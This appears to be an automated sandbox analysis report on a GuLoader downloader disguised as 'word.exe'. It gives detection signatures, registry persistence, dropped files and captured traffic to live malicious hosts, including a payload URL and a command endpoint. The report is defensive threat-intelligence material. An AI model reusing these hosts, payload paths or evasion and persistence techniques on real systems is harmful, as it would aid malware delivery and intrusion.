Edit tour

Windows Analysis Report
word.exe

Overview

General Information

Sample name:	word.exe
Analysis ID:	1497467
MD5:	0ea4553778672b58bbd711fb039552c8
SHA1:	8487f359428f19444696ce610ed81c6b4dd56a6a
SHA256:	910ae266eb8177aa46e2a2c77029e57b30d7aaa819c3b8451514bf1b1ae26f8d
Infos:

Detection

GuLoader

Score:	54
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected GuLoader

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion NT Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

word.exe (PID: 9140 cmdline: "C:\Users\user\Desktop\word.exe" MD5: 0EA4553778672B58BBD711FB039552C8)

word.exe (PID: 8792 cmdline: "C:\Users\user\Desktop\word.exe" MD5: 0EA4553778672B58BBD711FB039552C8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\spherosome\preadoption\preembodiment\Unending.die	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
C:\Users\user\AppData\Local\Temp\nsh912A.tmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1794654590.0000000003100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000015.00000002.5953667909.00000000016D0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000000.00000002.1794245028.00000000028E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000000.00000002.1794654590.0000000006E40000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\Subhooked\Julenissen.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\word.exe, ProcessId: 8792, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Run

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 74.120.9.25

Timestamp:	2024-08-22T16:13:35.638517+0200
SID:	2803270
Severity:	2
Source Port:	49794
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Subhooked\Julenissen.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: word.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00151B78 CryptQueryObject,		21_2_00151B78
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00151B77 CryptQueryObject,		21_2_00151B77

Source: word.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: word.exe

Static PE information: certificate valid

Source: unknown	HTTPS traffic detected: 74.120.9.25:443 -> 192.168.11.20:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 186.2.171.76:443 -> 192.168.11.20:49795 version: TLS 1.2

Source: word.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\word.exe	Code function: 0_2_00405FF5 FindFirstFileA,FindClose,	0_2_00405FF5
Source: C:\Users\user\Desktop\word.exe	Code function: 0_2_004055B1 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,LdrInitializeThunk,FindNextFileA,FindClose,	0_2_004055B1
Source: C:\Users\user\Desktop\word.exe	Code function: 0_2_00402645 FindFirstFileA,	0_2_00402645
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00402645 FindFirstFileA,	21_2_00402645
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00405FF5 FindFirstFileA,FindClose,	21_2_00405FF5
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_004055B1 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,LdrInitializeThunk,FindNextFileA,FindClose,	21_2_004055B1

Source: C:\Users\user\Desktop\word.exe	Code function: 4x nop then jmp 0015CB01h	21_2_0015B43C
Source: C:\Users\user\Desktop\word.exe	Code function: 4x nop then jmp 0015CCA9h	21_2_0015B43C
Source: C:\Users\user\Desktop\word.exe	Code function: 4x nop then mov eax, dword ptr [ebp-34h]	21_2_00153265
Source: C:\Users\user\Desktop\word.exe	Code function: 4x nop then mov eax, dword ptr [ebp-34h]	21_2_0015255C
Source: C:\Users\user\Desktop\word.exe	Code function: 4x nop then jmp 0015BB5Ch	21_2_00154CE4
Source: C:\Users\user\Desktop\word.exe	Code function: 4x nop then jmp 0015BB5Bh	21_2_00154CE4
Source: C:\Users\user\Desktop\word.exe	Code function: 4x nop then mov eax, dword ptr [ebp-28h]	21_2_00154CE4

Source: global traffic

HTTP traffic detected: GET /agent.ashx HTTP/1.1Host: 186.2.171.76Upgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13Sec-WebSocket-Extensions: permessage-deflate; client_no_context_takeover

Source: Joe Sandbox View

IP Address: 186.2.171.76 186.2.171.76

Source: Joe Sandbox View	JA3 fingerprint: c12f54a3f91dc7bafd92cb59fe009a35
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49794 -> 74.120.9.25:443

Source: global traffic

HTTP traffic detected: GET /lusLFydzKAeHl6DYixtUVg8/OdwulMHhYKs243.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: filedn.comCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.171.76
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /lusLFydzKAeHl6DYixtUVg8/OdwulMHhYKs243.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: filedn.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /agent.ashx HTTP/1.1Host: 186.2.171.76Upgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13Sec-WebSocket-Extensions: permessage-deflate; client_no_context_takeover

Source: global traffic

DNS traffic detected: DNS query: filedn.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundReferrer-Policy: no-referrerX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Security-Policy: default-src 'none'; script-src 'self' 'nonce-aaD1X7EAHdjb4ROQfLpG'; img-src 'self'; style-src 'self' 'nonce-aaD1X7EAHdjb4ROQfLpG';Content-Type: text/html; charset=utf-8Content-Length: 2551ETag: W/"9f7-Mp+Fx3llRl+T15vdlmej7Jb+VGo"Set-Cookie: xid=e30=; path=/; samesite=lax; secure; httponlySet-Cookie: xid.sig=BzUgfgjtGT50YZcFx1QzksALeKi6x4FkK-W1U0iWT-1Ab08e5FW08ZvU_ej4h5aG; path=/; samesite=lax; secure; httponlyVary: Accept-EncodingDate: Thu, 22 Aug 2024 14:13:46 GMTConnection: close

Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp, word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: word.exe, 00000015.00000002.5981319670.0000000037F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://certificate.crt/
Source: word.exe, 00000015.00000002.5970737373.0000000007866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificate.crt/localhosthttp://localhost/7
Source: word.exe, 00000015.00000002.5970737373.0000000007866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificate.crt/localhostsihttp://localhost/o
Source: word.exe, 00000015.00000002.5970737373.0000000007808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: word.exe, 00000015.00000002.5970737373.0000000007808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp, word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: word.exe, word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: word.exe, 00000000.00000000.860411221.0000000000409000.00000008.00000001.01000000.00000003.sdmp, word.exe, 00000000.00000002.1793018183.0000000000409000.00000004.00000001.01000000.00000003.sdmp, word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0?
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp, word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0_
Source: word.exe, 00000015.00000002.5981319670.0000000037F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: word.exe, 00000015.00000002.5970737373.0000000007808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: word.exe, 00000015.00000002.5981319670.0000000037F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://186.2.171.76/agent.ashx
Source: word.exe, 00000015.00000002.5981319670.0000000037F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://186.2.171.76/agent.ashx$
Source: word.exe, 00000015.00000002.5981319670.0000000037F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://186.2.171.76/agent.ashxP
Source: word.exe, 00000015.00000002.5970737373.0000000007808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp, word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ssl.com/repository0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443

Source: unknown	HTTPS traffic detected: 74.120.9.25:443 -> 192.168.11.20:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 186.2.171.76:443 -> 192.168.11.20:49795 version: TLS 1.2

Source: C:\Users\user\Desktop\word.exe

Code function: 0_2_0040511A GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040511A

Source: C:\Users\user\Desktop\word.exe	Code function: 0_2_00403217 EntryPoint,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_00403217
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00403217 EntryPoint,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,		21_2_00403217

Source: C:\Users\user\Desktop\word.exe

File created: C:\Windows\resources\0409

Source: C:\Users\user\Desktop\word.exe	Code function: 0_2_00404959	0_2_00404959
Source: C:\Users\user\Desktop\word.exe	Code function: 0_2_004062CB	0_2_004062CB
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00404959	21_2_00404959
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_004062CB	21_2_004062CB
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_0015B43C	21_2_0015B43C
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_001516B1	21_2_001516B1
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00150808	21_2_00150808
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00150898	21_2_00150898
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_00154E10	21_2_00154E10

Source: word.exe, 00000000.00000000.860475916.0000000000447000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametrichinization.exe4 vs word.exe
Source: word.exe, 00000015.00000002.5953545481.0000000000447000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametrichinization.exe4 vs word.exe
Source: word.exe, 00000015.00000003.1793491825.000000003A7E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametrichinization.exe4 vs word.exe

Source: C:\Users\user\Desktop\word.exe	Mutant created: \Sessions\1\BaseNamedObjects\MeshCentralAssistantSingletonMutex
Source: C:\Users\user\Desktop\word.exe	Mutant created: NULL

Source: unknown	Process created: C:\Users\user\Desktop\word.exe "C:\Users\user\Desktop\word.exe"
Source: C:\Users\user\Desktop\word.exe	Process created: C:\Users\user\Desktop\word.exe "C:\Users\user\Desktop\word.exe"
Source: C:\Users\user\Desktop\word.exe	Process created: C:\Users\user\Desktop\word.exe "C:\Users\user\Desktop\word.exe"	Jump to behavior

Source: C:\Users\user\Desktop\word.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ncryptprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: netfxperf.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: esentprf.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: perfts.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: utildll.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: msdtcuiu.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: msdtcprx.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: mtxclu.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: clusapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: resutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: msscntrs.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: perfdisk.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wmiclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: perfnet.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: perfos.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: perfproc.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: sysmain.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: rasctrs.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: tapiperf.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: perfctrs.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: usbperf.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Section loaded: secur32.dll	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1794654590.0000000006E40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1794654590.0000000003100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.5953667909.00000000016D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1794245028.00000000028E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\spherosome\preadoption\preembodiment\Unending.die, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\nsh912A.tmp, type: DROPPED

Source: System.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1014f
Source: word.exe	Static PE information: real checksum: 0xb3966 should be: 0xb47c4
Source: Julenissen.exe.21.dr	Static PE information: real checksum: 0xb3966 should be: 0xb47c4

Source: C:\Users\user\Desktop\word.exe	Code function: 0_2_10002D30 push eax; ret		0_2_10002D5E
Source: C:\Users\user\Desktop\word.exe	Code function: 21_2_0015275A pushad ; retf 37DBh		21_2_0015277D

Source: C:\Users\user\Desktop\word.exe	File created: C:\Users\user\AppData\Local\Temp\Subhooked\Julenissen.exe			Jump to dropped file
Source: C:\Users\user\Desktop\word.exe	File created: C:\Users\user\AppData\Local\Temp\nsy9448.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
